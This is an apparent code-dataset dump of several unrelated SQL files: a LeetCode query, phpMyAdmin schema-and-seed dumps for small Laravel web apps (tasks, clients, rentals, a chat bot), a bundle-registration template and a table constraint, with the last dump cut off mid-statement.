sql
stringlengths
6
1.05M
<filename>leetcode-subscription/sql/P1549.sql /* https://leetcode.com/problems/the-most-recent-orders-for-each-product/ https://leetcode.com/submissions/detail/452452600/ */ /* Write your T-SQL query statement below */ SELECT p.product_name, p.product_id, o.order_id, o.order_date FROM Products p JOIN Orders o ON p.product_id = o.product_id JOIN ( SELECT p.product_id, MAX(o.order_date) order_date FROM Products p JOIN Orders o ON p.product_id = o.product_id GROUP BY p.product_id ) a ON p.product_id = a.product_id AND o.order_date = a.order_date ORDER BY p.product_name, p.product_id, o.order_id
<filename>logged.sql -- phpMyAdmin SQL Dump -- version 5.1.0 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Oct 31, 2021 at 07:49 AM -- Server version: 10.4.18-MariaDB -- PHP Version: 7.4.16 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `logged` -- -- -------------------------------------------------------- -- -- Table structure for table `failed_jobs` -- CREATE TABLE `failed_jobs` ( `id` bigint(20) UNSIGNED NOT NULL, `uuid` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `connection` text COLLATE utf8mb4_unicode_ci NOT NULL, `queue` text COLLATE utf8mb4_unicode_ci NOT NULL, `payload` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `exception` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `failed_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `migrations` -- CREATE TABLE `migrations` ( `id` int(10) UNSIGNED NOT NULL, `migration` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `batch` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `migrations` -- INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES (1, '2014_10_12_000000_create_users_table', 1), (2, '2014_10_12_100000_create_password_resets_table', 1), (3, '2019_08_19_000000_create_failed_jobs_table', 1), (4, '2019_12_14_000001_create_personal_access_tokens_table', 1), (5, '2021_10_30_122611_create_tasks_table', 1), (6, '2021_10_30_163924_create_time_sheets_table', 1); -- -------------------------------------------------------- -- -- Table structure for table `password_resets` -- CREATE TABLE `password_resets` ( `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `token` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `personal_access_tokens` -- CREATE TABLE `personal_access_tokens` ( `id` bigint(20) UNSIGNED NOT NULL, `tokenable_type` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `tokenable_id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `token` varchar(64) COLLATE utf8mb4_unicode_ci NOT NULL, `abilities` text COLLATE utf8mb4_unicode_ci DEFAULT NULL, `last_used_at` timestamp NULL DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Table structure for table `tasks` -- CREATE TABLE `tasks` ( `id` bigint(20) UNSIGNED NOT NULL, `user_id` bigint(20) DEFAULT NULL, `assigned_user_id` bigint(20) UNSIGNED DEFAULT NULL, `description` text COLLATE utf8mb4_unicode_ci NOT NULL, `status` tinyint(4) DEFAULT NULL COMMENT '0=private, 1=public, 2=specific person', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `tasks` -- INSERT INTO `tasks` (`id`, `user_id`, `assigned_user_id`, `description`, `status`, `created_at`, `updated_at`) VALUES (1, 2, 2, 'Created Role Management System', 2, '2021-10-30 23:11:55', '2021-10-30 23:58:26'), (2, 2, 2, 'Accounting Settings', 1, '2021-10-30 23:12:42', '2021-10-30 23:12:42'), (3, 1, 5, 'Product Category Settings', 2, '2021-10-30 23:19:15', '2021-10-30 23:19:15'), (4, 1, 6, 'Inventory Settings', 1, '2021-10-30 23:21:23', '2021-10-30 23:21:23'), (5, 1, 5, 'Invoice Settings Category', 1, '2021-10-30 23:21:58', '2021-10-30 23:21:58'); -- -------------------------------------------------------- -- -- Table structure for table `time_sheets` -- CREATE TABLE `time_sheets` ( `id` bigint(20) UNSIGNED NOT NULL, `user_id` bigint(20) UNSIGNED DEFAULT NULL, `start_date` timestamp NULL DEFAULT NULL, `end_date` timestamp NULL DEFAULT NULL, `duration` double(8,2) DEFAULT 0.00, `pay_hour` bigint(20) DEFAULT NULL, `total_pay` bigint(20) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `time_sheets` -- INSERT INTO `time_sheets` (`id`, `user_id`, `start_date`, `end_date`, `duration`, `pay_hour`, `total_pay`, `created_at`, `updated_at`) VALUES (1, 2, '2021-10-31 05:15:00', '2021-11-03 05:15:00', 72.00, 5, 360, '2021-10-30 23:16:13', '2021-10-30 23:16:13'), (2, 3, '2021-10-31 05:16:00', '2021-11-05 12:16:00', 127.00, 3, 381, '2021-10-30 23:16:51', '2021-10-30 23:16:51'), (3, 4, '2021-10-31 05:17:00', '2021-11-02 13:17:00', 56.00, 7, 392, '2021-10-30 23:17:51', '2021-10-30 23:17:51'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `email_verified_at` timestamp NULL DEFAULT NULL, `password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `last_seen` timestamp NULL DEFAULT NULL, `role_as` tinyint(4) DEFAULT 0 COMMENT '0=users, 1=admin', `status` tinyint(4) DEFAULT 1 COMMENT '0=Inactive, 1=Active' ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `name`, `email`, `email_verified_at`, `password`, `remember_token`, `created_at`, `updated_at`, `last_seen`, `role_as`, `status`) VALUES (1, 'Administrator', '<EMAIL>', NULL, '$2y$10$PxpNMACA4lIegYvq2gxby.qHt9Zg2PBiocNbVTAGrUJYOlkg2h2fO', NULL, '2021-10-30 23:05:47', '2021-10-31 00:22:46', '2021-10-31 00:22:46', 1, 1), (2, '<NAME>', '<EMAIL>', NULL, '$2y$10$ztet5dsIoxSMWq7AN8IJaeQ1nedyQ.9NY9MUQaFfgN1JIYkfqMJhu', NULL, '2021-10-30 23:05:47', '2021-10-30 23:13:11', '2021-10-30 23:13:11', 0, 1), (3, '<NAME>', '<EMAIL>', NULL, '$2y$10$Z9G1DlKPivBCOZYHU23sEO2CnyocgyvTuFNK51rdSmYeMdkdH26TO', NULL, '2021-10-30 23:05:47', '2021-10-30 23:05:47', NULL, 0, 1), (4, '<NAME>', '<EMAIL>', NULL, '$2y$10$1WAtE2Zw8I2TpdzhVfxBnOJ7QDhDCvHLuzq63WtHGNdWNwSdq4rv2', NULL, '2021-10-30 23:05:48', '2021-10-30 23:05:48', NULL, 0, 1), (5, '<NAME>', '<EMAIL>', NULL, '$2y$10$YJqieX7xNslNU1L.6Jc5ieuwpDL7.wL3Mydy4YXWAsxfk4M3CQRO6', NULL, '2021-10-30 23:05:48', '2021-10-30 23:05:48', NULL, 0, 1), (6, 'Test Five', '<EMAIL>', NULL, '$2y$10$AtmHDNBoGSNgvqSBhV18PudOZcCe/MHToaTIfivGHOIZz2/nSbKuO', NULL, '2021-10-30 23:05:48', '2021-10-30 23:05:48', NULL, 0, 1); -- -- Indexes for dumped tables -- -- -- Indexes for table `failed_jobs` -- ALTER TABLE `failed_jobs` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); -- -- Indexes for table `migrations` -- ALTER TABLE `migrations` ADD PRIMARY KEY (`id`); -- -- Indexes for table `password_resets` -- ALTER TABLE `password_resets` ADD KEY `password_resets_email_index` (`email`); -- -- Indexes for table `personal_access_tokens` -- ALTER TABLE `personal_access_tokens` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `personal_access_tokens_token_unique` (`token`), ADD KEY `personal_access_tokens_tokenable_type_tokenable_id_index` (`tokenable_type`,`tokenable_id`); -- -- Indexes for table `tasks` -- ALTER TABLE `tasks` ADD PRIMARY KEY (`id`), ADD KEY `tasks_assigned_user_id_foreign` (`assigned_user_id`); -- -- Indexes for table `time_sheets` -- ALTER TABLE `time_sheets` ADD PRIMARY KEY (`id`), ADD KEY `time_sheets_user_id_foreign` (`user_id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `users_email_unique` (`email`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `failed_jobs` -- ALTER TABLE `failed_jobs` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `migrations` -- ALTER TABLE `migrations` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- AUTO_INCREMENT for table `personal_access_tokens` -- ALTER TABLE `personal_access_tokens` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `tasks` -- ALTER TABLE `tasks` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; -- -- AUTO_INCREMENT for table `time_sheets` -- ALTER TABLE `time_sheets` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- Constraints for dumped tables -- -- -- Constraints for table `tasks` -- ALTER TABLE `tasks` ADD CONSTRAINT `tasks_assigned_user_id_foreign` FOREIGN KEY (`assigned_user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE; -- -- Constraints for table `time_sheets` -- ALTER TABLE `time_sheets` ADD CONSTRAINT `time_sheets_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<gh_stars>0 -- register bundle '[bundleId]' INSERT INTO portti_bundle (name, startup) VALUES ('[bundleId]','{ "title": "[optional name for bundle]", "bundleinstancename": "[bundleId]", "bundlename": "[bundleId]", "metadata": { "Import-Bundle": { "[bundleId]": { "bundlePath": "/Oskari/packages/framework/bundle/" } } } }'); -- add bundle '[bundleId]' to view [view_id] INSERT INTO portti_view_bundle_seq (view_id, seqno, bundle_id, startup, config, state) VALUES ([view_id], (SELECT (max(seqno) + 1) FROM portti_view_bundle_seq WHERE view_id = [view_id]), (SELECT id FROM portti_bundle WHERE name = '[bundleId]'), (SELECT startup FROM portti_bundle WHERE name = '[bundleId]'), (SELECT config FROM portti_bundle WHERE name = '[bundleId]'), (SELECT state FROM portti_bundle WHERE name = '[bundleId]'));
-- phpMyAdmin SQL Dump -- version 5.1.1 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 08-07-2021 a las 04:26:17 -- Versión del servidor: 10.4.19-MariaDB -- Versión de PHP: 7.4.20 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `si2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `clientes` -- CREATE TABLE `clientes` ( `id` bigint(20) UNSIGNED NOT NULL, `ci` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `nombre` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, `direccion` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, `telefono` int(11) NOT NULL, `nit` int(11) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Volcado de datos para la tabla `clientes` -- INSERT INTO `clientes` (`id`, `ci`, `nombre`, `direccion`, `telefono`, `nit`, `created_at`, `updated_at`) VALUES (1, '11984043', 'Cliente 1', 'Direccion 1', 77777777, NULL, '2021-07-08 06:20:20', '2021-07-08 06:21:22'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `failed_jobs` -- CREATE TABLE `failed_jobs` ( `id` bigint(20) UNSIGNED NOT NULL, `uuid` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `connection` text COLLATE utf8mb4_unicode_ci NOT NULL, `queue` text COLLATE utf8mb4_unicode_ci NOT NULL, `payload` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `exception` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `failed_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `migrations` -- CREATE TABLE `migrations` ( `id` int(10) UNSIGNED NOT NULL, `migration` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `batch` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Volcado de datos para la tabla `migrations` -- INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES (1, '2014_10_12_000000_create_users_table', 1), (2, '2014_10_12_100000_create_password_resets_table', 1), (3, '2019_08_19_000000_create_failed_jobs_table', 1), (4, '2021_07_06_175256_create_personas_table', 2), (5, '2021_07_06_184954_create_clientes_table', 3), (6, '2021_07_06_185207_create_proveedors_table', 3), (7, '2021_07_06_185237_create_monedas_table', 3); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `monedas` -- CREATE TABLE `monedas` ( `id` bigint(20) UNSIGNED NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `password_resets` -- CREATE TABLE `password_resets` ( `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `token` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `personas` -- CREATE TABLE `personas` ( `id` bigint(20) UNSIGNED NOT NULL, `complemento` varchar(5) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `direccion` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, `telefono` int(11) NOT NULL, `user_id` bigint(20) UNSIGNED NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Volcado de datos para la tabla `personas` -- INSERT INTO `personas` (`id`, `complemento`, `direccion`, `telefono`, `user_id`, `created_at`, `updated_at`) VALUES (11394850, NULL, 'Roca y Coronado 2do Anillo', 78446698, 1, NULL, NULL), (11484043, NULL, 'Radial27 4to Anillo', 69054483, 2, '2021-07-08 00:40:32', '2021-07-08 02:18:39'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `proveedors` -- CREATE TABLE `proveedors` ( `id` bigint(20) UNSIGNED NOT NULL, `nombre` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, `direccion` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL, `nit` int(11) NOT NULL, `telefono` int(11) NOT NULL, `descripcion` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Volcado de datos para la tabla `proveedors` -- INSERT INTO `proveedors` (`id`, `nombre`, `direccion`, `nit`, `telefono`, `descripcion`, `created_at`, `updated_at`) VALUES (2, 'Empresa 1', 'Direccion 1', 111111111, 77777777, 'Descripcion 1', '2021-07-08 06:02:14', '2021-07-08 06:02:14'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `users` -- CREATE TABLE `users` ( `id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `email_verified_at` timestamp NULL DEFAULT NULL, `password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL, `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- -- Volcado de datos para la tabla `users` -- INSERT INTO `users` (`id`, `name`, `email`, `email_verified_at`, `password`, `remember_token`, `created_at`, `updated_at`) VALUES (1, '<NAME>', '<EMAIL>', NULL, '$2y$10$WuEjXEGS56.z3r3n3XbMBe7d3kVQWNziRvqVgsXR.qeDbQjsFecG6', 'AtqUj6yr6LNKZYBAnkJpdV19JlmUmmXIVMnz0h5OfDGx2auy2Bl3vSjeTs3T', '2021-07-05 17:58:33', '2021-07-07 23:58:54'), (2, '<NAME>', '<EMAIL>', NULL, '$2y$10$8gGWe94Am5CuW08V.HgmUOC9WnM0NhLBtv7bXJB608mwIOWv4KQBG', NULL, '2021-07-08 00:40:32', '2021-07-08 02:18:39'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `clientes` -- ALTER TABLE `clientes` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `failed_jobs` -- ALTER TABLE `failed_jobs` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); -- -- Indices de la tabla `migrations` -- ALTER TABLE `migrations` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `monedas` -- ALTER TABLE `monedas` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `password_resets` -- ALTER TABLE `password_resets` ADD KEY `password_resets_email_index` (`email`); -- -- Indices de la tabla `personas` -- ALTER TABLE `personas` ADD PRIMARY KEY (`id`), ADD KEY `personas_user_id_foreign` (`user_id`); -- -- Indices de la tabla `proveedors` -- ALTER TABLE `proveedors` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `users_email_unique` (`email`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `clientes` -- ALTER TABLE `clientes` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT de la tabla `failed_jobs` -- ALTER TABLE `failed_jobs` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT de la tabla `migrations` -- ALTER TABLE `migrations` MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT de la tabla `monedas` -- ALTER TABLE `monedas` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT de la tabla `personas` -- ALTER TABLE `personas` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11484044; -- -- AUTO_INCREMENT de la tabla `proveedors` -- ALTER TABLE `proveedors` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT de la tabla `users` -- ALTER TABLE `users` MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `personas` -- ALTER TABLE `personas` ADD CONSTRAINT `personas_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<filename>5.2.3/Database/Constraints/AFW_23_RECHR_FK1.sql SET DEFINE OFF; ALTER TABLE AFW_23_RECHR ADD ( CONSTRAINT AFW_23_RECHR_FK1 FOREIGN KEY (REF_UTILS) REFERENCES AFW_12_UTILS (SEQNC) ENABLE VALIDATE) /
<gh_stars>1-10 -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: May 02, 2019 at 08:07 AM -- Server version: 10.1.28-MariaDB -- PHP Version: 5.6.32 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `app_chat_bot` -- -- -------------------------------------------------------- -- -- Table structure for table `chat_bot` -- CREATE TABLE `chat_bot` ( `chat_bot_id` int(11) NOT NULL, `tanya` varchar(255) NOT NULL, `jawab` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `chat_bot` -- INSERT INTO `chat_bot` (`chat_bot_id`, `tanya`, `jawab`) VALUES (1, 'hallo apakabar ?.', 'Selamat datang gan/sis, ada yang bisa kami bantu :)'), (2, 'halo', 'selmat datang, ada yang bisa kami bantu ?'), (3, 'harganya berapa ?', 'Harga yang mana ya kak ?'); -- -------------------------------------------------------- -- -- Table structure for table `member` -- CREATE TABLE `member` ( `member_id` int(11) NOT NULL, `username` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, `nama` varchar(255) DEFAULT NULL, `alamat` varchar(255) DEFAULT NULL, `no_hp` varchar(255) DEFAULT NULL, `email` varchar(255) DEFAULT NULL, `desa` varchar(255) DEFAULT NULL, `kecamatan` varchar(255) DEFAULT NULL, `kabupaten` varchar(255) DEFAULT NULL, `status` int(11) DEFAULT NULL, `level` enum('user','admin') NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `member` -- INSERT INTO `member` (`member_id`, `username`, `password`, `nama`, `alamat`, `no_hp`, `email`, `desa`, `kecamatan`, `kabupaten`, `status`, `level`) VALUES (3, '<EMAIL>', '<PASSWORD>', 'agus <PASSWORD>', 'lumajang', '+6285801025012', '<EMAIL>', 'lumajang', 'lumajang', 'lumajang', 1, 'user'), (4, '<EMAIL>', '<PASSWORD>', 'Uying', 'Probolinggo', '0823555777666', '<EMAIL>', 'Probolinggo', 'Probolinggo', 'Pobolinggo', 1, 'admin'); -- -------------------------------------------------------- -- -- Table structure for table `paket` -- CREATE TABLE `paket` ( `paket_id` int(11) NOT NULL, `nama` varchar(255) NOT NULL, `deskripsi` varchar(255) NOT NULL, `harga` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `paket` -- INSERT INTO `paket` (`paket_id`, `nama`, `deskripsi`, `harga`) VALUES (1, 'paket malam', 'paket malam murah', 20000), (2, 'Paket pagi dan siang', 'paket pagi dan siang paling hemat', 200000); -- -------------------------------------------------------- -- -- Table structure for table `pemesanan` -- CREATE TABLE `pemesanan` ( `pemesanan_id` int(11) NOT NULL, `kode_pemesanan` varchar(255) NOT NULL, `tanggal_pemesanan` date NOT NULL, `tanggal_mulai` date NOT NULL, `tanggal_selesai` date NOT NULL, `jumlah_sewa` int(11) NOT NULL DEFAULT '1', `produk_id` int(11) NOT NULL, `paket_id` int(11) NOT NULL, `member_id` int(11) NOT NULL, `status` enum('1','2','3','4') NOT NULL, `pesan` text, `hapus` int(1) NOT NULL DEFAULT '0' ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `pemesanan` -- INSERT INTO `pemesanan` (`pemesanan_id`, `kode_pemesanan`, `tanggal_pemesanan`, `tanggal_mulai`, `tanggal_selesai`, `jumlah_sewa`, `produk_id`, `paket_id`, `member_id`, `status`, `pesan`, `hapus`) VALUES (2, 'paket-174', '2019-03-05', '2019-03-08', '2019-03-09', 1, 0, 1, 3, '1', '', 1), (4, 'produk-666', '2019-03-05', '2019-03-08', '2019-03-09', 2, 8, 0, 3, '1', 'admin', 0), (5, 'produk-225', '2019-03-21', '2019-03-24', '2019-03-25', 4, 6, 0, 3, '1', '', 0), (6, 'paket-749', '2019-03-21', '2019-03-24', '2019-03-25', 5, 0, 2, 3, '1', '', 0), (7, 'produk-968', '2019-03-24', '2019-03-27', '2019-03-28', 1, 7, 0, 3, '1', '', 0); -- -------------------------------------------------------- -- -- Table structure for table `produk` -- CREATE TABLE `produk` ( `produk_id` int(11) NOT NULL, `jenis` varchar(255) DEFAULT NULL, `deskripsi` varchar(255) DEFAULT NULL, `harga` int(11) NOT NULL, `gambar` varchar(255) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `produk` -- INSERT INTO `produk` (`produk_id`, `jenis`, `deskripsi`, `harga`, `gambar`) VALUES (6, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Autem sint facilis, iure ad non deleniti nam similique nihil ipsum praesentium est quos eum modi officiis neque? Aut odit quibusdam vitae.', 290000, '5c4dfd7177cb7WhatsApp Image 2019-01-27 at 10 14 22.jpeg'), (7, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Autem sint facilis, iure ad non deleniti nam similique nihil ipsum praesentium est quos eum modi officiis neque? Aut odit quibusdam vitae.', 1500000, '5c4dfd9189bc8WhatsApp Image 2019-01-27 at 10 14 23 (1).jpeg'), (8, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Autem sint facilis, iure ad non deleniti nam similique nihil ipsum praesentium est quos eum modi officiis neque? Aut odit quibusdam vitae.', 1250000, '5c4dfdba067b9WhatsApp Image 2019-01-27 at 10 14 23.jpeg'), (9, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Autem sint facilis, iure ad non deleniti nam similique nihil ipsum praesentium est quos eum modi officiis neque? Aut odit quibusdam vitae.', 780000, '5c4dfde380aa6WhatsApp Image 2019-01-27 at 10 14 24 (1).jpeg'), (10, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Autem sint facilis, iure ad non deleniti nam similique nihil ipsum praesentium est quos eum modi officiis neque? Aut odit quibusdam vitae.', 950000, '5c4dfe17be7e1WhatsApp Image 2019-01-27 at 10 14 25 (1).jpeg'), (11, 'Nama Produk', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusantium obcaecati ea nam eum! Sequi rem illum quia soluta aliquid. Officiis libero vitae atque, maxime perferendis rem quam quasi iusto inventore.', 1205000, '5c4dfec37c7b4WhatsApp Image 2019-01-27 at 10 14 25 (2).jpeg'), (12, '<NAME>', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusantium obcaecati ea nam eum! Sequi rem illum quia soluta aliquid. Officiis libero vitae atque, maxime perferendis rem quam quasi iusto inventore.', 455000, '5c4dfee1a02bdWhatsApp Image 2019-01-27 at 10 14 25.jpeg'); -- -------------------------------------------------------- -- -- Table structure for table `temporary` -- CREATE TABLE `temporary` ( `temporary_id` int(11) NOT 